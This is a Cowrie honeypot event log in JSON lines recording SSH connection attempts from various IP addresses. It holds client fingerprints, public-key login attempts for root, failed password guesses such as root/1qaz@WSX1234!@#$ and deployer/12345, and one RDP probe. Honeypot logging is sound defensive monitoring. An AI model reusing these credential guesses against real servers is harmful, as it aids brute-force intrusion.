{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:ad:67:5b:4a:dd:88:de:12:f0:02:1c:8d:c4:72:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0oEDJJFUydSwA0dK9ytDI6dW24qwPC62kLMeYDdPa71aqpcwEGKml1+lxzHduVEudkVyDhTZsUXJA42zCegVAOgwYItVeVqQVR+bt8qf+Z7H3ZPKe3BpnlHSxsGy9QGxsdCd0tpWJCgpbvzzXGPmdtRUvoK1p2qyd1Uv4fBNUOmYEcF7rzvUm17Lz+LNverEDounNTA+EV9jG7irGgS7V88zYNw0WnCOw2LS/oPr5cta04ypzRgqMgnVwn5kgyivo3rWDiyj3+pGpyXxkLgdCIfxSgX0OuhwIT1TfQ+S8qWw+YY0dCacYrG8pvgvgw2Z/r4JpzcMioL49/iVwGjDl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:35.504665Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:9d:50:9b:58:53:2c:7c:36:f8:28:32:da:dc:a5:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClrKeEJSp83bFMPxAKUOFefAsMGofw/PjSvjC3BVxpXXm/Gg5zqGkRP1vbpQp8KwLqdFVHJTAEQ7I61ojshMLZ2oSkJqPbmL7r1EGwF0kHUNlez6e9DIVPVs3qaHcNQdGgOjXkUz/AnrJ0kkMIOpNqUn7qmY4jLMx51A6SarFY6yfSQjZz6SZzs4r8HQZP3MCohzr/gY3gJOxFolSvW+WiyakgyjqgKWCgBC1gA60dTPHyEUCJTPTN1R9i1NqVc9H/drA4rT6riSkyM9LxmTOu5o0iLyp+rDmdC/0oXGj3Tv74U+3/SsI8gBNthQDT0AOuGSfsgFW+sa46YnwKe+dI91bWLk04zXDVZNn6dI8rjqnrQMQNuoCqQ8lk0EYU6fbnYlNWJ2pApx8kcMW3U4hvh3//TOnxR3AIUKY5gMB6qQsnqD4xHZZNommqowV5fWGjOHvINkMS+poA/NOlRvt+Y+7uZb8/a094Zw2NSBGVRBRE2qhoiNkTRfWB3Z4W1uLMBpihqxCeu6fU7mU2lXDhX/mcCrxZyFQ1a1028Kr5b2ghxxYEJ2UCCZLrcrAL/LrWBEC3uEgGD5RN5riSqVOLIbhGwwnW2yVnQ7R5HPc/GqsGC5wEIVJgOwSlFFHtpmjZ7HTDl97XylzG3ekElnhnUlaIqUgcsrYZgj1B4rTYzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:9d:50:9b:58:53:2c:7c:36:f8:28:32:da:dc:a5:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:35.627050Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:9d:50:9b:58:53:2c:7c:36:f8:28:32:da:dc:a5:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClrKeEJSp83bFMPxAKUOFefAsMGofw/PjSvjC3BVxpXXm/Gg5zqGkRP1vbpQp8KwLqdFVHJTAEQ7I61ojshMLZ2oSkJqPbmL7r1EGwF0kHUNlez6e9DIVPVs3qaHcNQdGgOjXkUz/AnrJ0kkMIOpNqUn7qmY4jLMx51A6SarFY6yfSQjZz6SZzs4r8HQZP3MCohzr/gY3gJOxFolSvW+WiyakgyjqgKWCgBC1gA60dTPHyEUCJTPTN1R9i1NqVc9H/drA4rT6riSkyM9LxmTOu5o0iLyp+rDmdC/0oXGj3Tv74U+3/SsI8gBNthQDT0AOuGSfsgFW+sa46YnwKe+dI91bWLk04zXDVZNn6dI8rjqnrQMQNuoCqQ8lk0EYU6fbnYlNWJ2pApx8kcMW3U4hvh3//TOnxR3AIUKY5gMB6qQsnqD4xHZZNommqowV5fWGjOHvINkMS+poA/NOlRvt+Y+7uZb8/a094Zw2NSBGVRBRE2qhoiNkTRfWB3Z4W1uLMBpihqxCeu6fU7mU2lXDhX/mcCrxZyFQ1a1028Kr5b2ghxxYEJ2UCCZLrcrAL/LrWBEC3uEgGD5RN5riSqVOLIbhGwwnW2yVnQ7R5HPc/GqsGC5wEIVJgOwSlFFHtpmjZ7HTDl97XylzG3ekElnhnUlaIqUgcsrYZgj1B4rTYzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:35.636869Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:35.742795Z","src_ip":"176.65.128.179","session":"18154fc7ab46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":57142,"dst_ip":"10.17.0.5","dst_port":22,"session":"3db19e35bbef","protocol":"ssh","message":"New connection: 103.149.28.157:57142 (10.17.0.5:22) [session: 3db19e35bbef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:36.324224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:36.329900Z","src_ip":"103.149.28.157","session":"3db19e35bbef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:36.586076Z","src_ip":"103.149.28.157","session":"3db19e35bbef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.92.101","src_port":43018,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b03606919ce","protocol":"ssh","message":"New connection: 102.223.92.101:43018 (159.203.135.109:22) [session: 6b03606919ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:36.636444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:36.641346Z","src_ip":"102.223.92.101","session":"6b03606919ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:36.812919Z","src_ip":"102.223.92.101","session":"6b03606919ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"535353","message":"login attempt [root/535353] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:37.353480Z","src_ip":"103.149.28.157","session":"3db19e35bbef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX1234!@#$","message":"login attempt [root/1qaz@WSX1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:37.533548Z","src_ip":"102.223.92.101","session":"6b03606919ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:38.612556Z","src_ip":"103.149.28.157","session":"3db19e35bbef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:38.713679Z","src_ip":"102.223.92.101","session":"6b03606919ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":59990,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d3300e7893d","protocol":"ssh","message":"New connection: 158.178.141.16:59990 (159.203.135.109:22) [session: 6d3300e7893d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:41.041157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:41.046505Z","src_ip":"158.178.141.16","session":"6d3300e7893d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:41.262036Z","src_ip":"158.178.141.16","session":"6d3300e7893d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12345","message":"login attempt [deployer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:42.141026Z","src_ip":"158.178.141.16","session":"6d3300e7893d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.347906589508057,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:42.333965Z","src_ip":"189.228.18.72","session":"80c166b580b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:43.359777Z","src_ip":"158.178.141.16","session":"6d3300e7893d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":50706,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd61533e7a5e","protocol":"ssh","message":"New connection: 49.51.202.114:50706 (159.203.135.109:22) [session: dd61533e7a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:51.332714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:51.337575Z","src_ip":"49.51.202.114","session":"dd61533e7a5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:51.410429Z","src_ip":"49.51.202.114","session":"dd61533e7a5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mp","password":"mp","message":"login attempt [mp/mp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:51.717863Z","src_ip":"49.51.202.114","session":"dd61533e7a5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:52.790319Z","src_ip":"49.51.202.114","session":"dd61533e7a5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":47764,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af75454502d","protocol":"ssh","message":"New connection: 200.175.61.207:47764 (10.17.0.5:22) [session: 9af75454502d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:58.395125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:58.400402Z","src_ip":"200.175.61.207","session":"9af75454502d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:58.547434Z","src_ip":"200.175.61.207","session":"9af75454502d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oscar123","message":"login attempt [root/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:59.163892Z","src_ip":"200.175.61.207","session":"9af75454502d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55491,"dst_ip":"10.17.0.5","dst_port":22,"session":"3432d0804614","protocol":"ssh","message":"New connection: 167.172.81.52:55491 (10.17.0.5:22) [session: 3432d0804614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:59.935503Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:59.940864Z","src_ip":"167.172.81.52","session":"3432d0804614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:25:59.945214Z","src_ip":"167.172.81.52","session":"3432d0804614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:00.315755Z","src_ip":"200.175.61.207","session":"9af75454502d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.164.204","src_port":54896,"dst_ip":"10.17.0.5","dst_port":22,"session":"acb49af0b44f","protocol":"ssh","message":"New connection: 107.6.164.204:54896 (10.17.0.5:22) [session: acb49af0b44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:04.033003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:04.119789Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:04.211249Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:57:ec:b8:1e:da:61:cf:1e:75:0c:8d:29:13:4e:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6hzNgsGgb3RnFGavLgCCE4XTnMv07d6lrcIVQq6/+Zy2Jmm7JijgLAVW6EjcvKGggUonFCtn5qohhATWdQ1yNREiXJ/hi/CyrtY+z1OlfiAqJ7dUO6cziSTR/Po6og2wUsJC9JXiwJGhWyUjucJMYC2Hup1wtRIM0Q7zymyaNL0ltTxlDQf1Pkn2M1bkNjFupoFlO/Qd7Rz6VGe1xWP7E6Zo+AKjIQsJuWz6K8tlV5BI40M+pQ+MN4buWjIvJuCHPG1/r9RwfWHeTJaZjHSB0mEQqTPaVc9Pc9vtVlOCuG2C74IBMLQpQdoKb736m8xNLyxCcC/0PpSvDlPXCvUh/w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:57:ec:b8:1e:da:61:cf:1e:75:0c:8d:29:13:4e:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:26:04.636759Z","src_ip":"107.6.164.204","session":"acb49af0b44f","protocol":"ssh"}
